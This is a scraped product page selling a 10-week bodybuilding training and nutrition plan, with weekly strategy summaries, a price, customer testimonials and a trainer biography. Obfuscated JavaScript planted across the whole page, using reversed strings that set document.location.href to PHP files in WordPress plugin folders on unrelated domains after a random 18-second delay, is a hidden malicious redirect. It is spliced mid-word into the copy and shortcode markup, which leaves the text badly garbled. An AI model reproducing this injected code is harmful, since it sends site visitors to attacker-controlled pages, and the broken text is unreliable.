GOLIATH PLAN

10 WEEKS OF TRAINING AND NUTRITION.

href="#" data-color-override="false" data-hover-color-override="false" data-hover-text-color-override="#fff">Button Text) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton_style=”regular” butdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton_color_2=”Accent-Color” icon_family=”default_arrow” url=”/product/the-goliath-plan/” text=”AVAILABLE NOW” margin_dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top=”20″]

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow=”none” column_border_radius=”none” width=”1/1″ tablet_width_inherit=”default” tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid” column_link=”https://goliathplan.com/product/the-goliath-plan/”][vc_cusdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading text=”The Goliath Plan is a comprehensive training and nutrition plan detailed with every workout, every exercise, rep, every meal, how dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it, and exactly what dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shop for.
Goliath walks you through each day over the entire 10 weeks!” font_container=”tag:h3|text_align:center” use_theme_fonts=”yes”]

[vc_cusdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading text=”Designed by 20-time cover model, author, and fitness professional GREGG AVEDON, where he teaches you everything you need dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know about eating healthy and building muscle.” font_container=”tag:h3|text_align:center” use_theme_fonts=”yes”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1536049193893{padding-right: 10% !important;padding-left: 10% !important;}”]“I created the Goliath Plan about 8 years ago with the singular goal of putting dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together an advanced training and nutrition plan that is dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tough, fun, motivating and inspiring. Since then, I’ve gone through the 10-week Goliath Plan several times myself and with a few of my best clients, and it changed everything!” – Gregg Avedon

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WEEK 1: THE FLUSH

STRATEGY: You’ll train 6 days in week 1, with higher volume, higher reps, and moderate weight. This is done in conjunction with the specifically designed nutrition plan.

WEEK 2: REGENERATION

STRATEGY: You’ll train 3 days this week, using heavy weight with moderate volume. We’ll also increase the protein and maintain moderate healthy fats while including fibrous carbs.

WEEK 3: ANABOLIC PRIMER

STRATEGY: You’ll train 6 days this week. Each body part will include one heavy day and one medium-heavy day. The protein intake is higher with moderate healthy fats and fibrous carbs. The best part – you’ll get 2 relaxed days added this week!

WEEK 4: ANABOLIC ZONE

STRATEGY: You’re gonna train 6 days this week, doing 1 body part per day. Here you’ll start with compound multi-joint movements and finish with isolation movements. High protein intake is the name of the game, while maintaining moderate healthy fats and fibrous carbs.

WEEK 5: GROWTH PHASE

STRATEGY: You’ll train 5 days this week along with 2 cardio days. Here we implement the “staging” method that includes compound multi-joint movements with drop sets, split sets, supersets, quicksets, or 21’s, and finishes with isolations.

WEEK 6: LEAN AND MEAN

STRATEGY: With 6 days of training, you’ll go crazy high volume the first 3 days, and cut the volume by 50% on the last 3 days. It’s high-intensity training with traditional rep ranges. Along with that, you’ll take in slightly lower calories and maintain a tight nutrition prodom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocol.

WEEK 7: MASS BUILDER

STRATEGY: Week 7 brings another solid 6 day training week. Here you’re going dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to alternate high volume and lower volume high-intensity training with traditional rep ranges. Again, you’ll concentrate on slightly lower calories and taking in super clean foods.

WEEK 8: FREAK WEEK

STRATEGY: This week you’ll be hitting the gym 6 days again while implementing the “staging” method (like we did in week 5). This includes compound multi-joint movements with drop sets, split sets, supersets, quicksets, or 21’s, and finishes with isolations. The nutrition remains clean and consistent.

WEEK 9: FREAKSHOW

STRATEGY: With a name like Freakshow you better hit the gym nothing less than 6 days this week! The first 3 days are high volume – last 3 days lower volume, and everything is high-intensity training. The nutrition will remain consistent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the previous weeks dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep the momentum going.

WEEK 10: FREAKFEST

STRATEGY: You gotta finish strong, so of course the training prodom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocol will stay at 6 days in week 10! Freakfest brings back indom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the mix the “staging” method! Compound multi-joint movements with set techniques and isolation movements added. You’ll also maintain slightly lower calories while still taking in higher protein dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to finish this final week.

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow=”none” column_border_radius=”none” width=”2/5″ tablet_width_inherit=”default” tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid” column_link=”https://goliathplan.com/product/the-goliath-plan/”][vc_cusdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading text=”GET IT NOW FOR” font_container=”tag:h2|text_align:center|color:%23000000″ use_theme_fonts=”yes” css=”.vc_cusdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1559835235917{margin-dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 40px !important;}”]

<”h1″>”$179.95″

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Goliath Plan YouTube Channel is a great resource for any of the exercises within the Goliath Plan. If you don’t know what a particular exercise is, grab your mobile device, open YouTube and go dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Goliath Plan page—it’s all there!

CLICK BELOW TO PURCHASE THE GOLIATH PLAN AND OUR BONUS PLAN ADD-ONS.

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dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading”>TESTIMONIALS

CLICK TO READ THEIR FULL STORY

”Danny

”David

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take on the Goliath Plan I was 10-weeks out from getting married and put on so much muscle I had dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have my tux reordered right before the wedding! What an amazing program. It packed on muscle as I lost fat. The eating plan is so thought out, easy dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow, organized, and the way Goliath ties in the workouts with the meal plan is like none other. If you’ve had enough of working out so hard without seeing significant gains, Goliath Plan is your answer. It’s proven dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to work.'”]

”Joe

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don one-on-one, utilizing the concepts of the Goliath Plan dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to not only achieve incredible results in 10-weeks, but kept it going dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make even greater gains. Goliath will definitely challenge you, and if you’re willing dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put in the work and dedication, you’ll get sick results!”]

About GREGG AVEDON

Gregg Avedon, NASM-CPT has been in the fitness industry for over 30 years. His dedication throughout that time as a professional model traveling the world and personal trainer have earned him unparalleled success, which is why he has perfected the art of staying in dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top shape year-round. Avedon has been on the cover of Men’s Health magazine more than anyone in hisdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory with over 20 covers.

He has also written for Men’s Health magazine, hosted television segments for Discovery Health Channel, and was named among the dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 5 best bodies in the industry by People Magazine. His other books include the popular Muscle Chow and The 14 Day Get Lean Diet.

“Gregg Avedon’s dedication dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to helping others with their health, success in fitness and overall wellness is evident the moment you meet him.”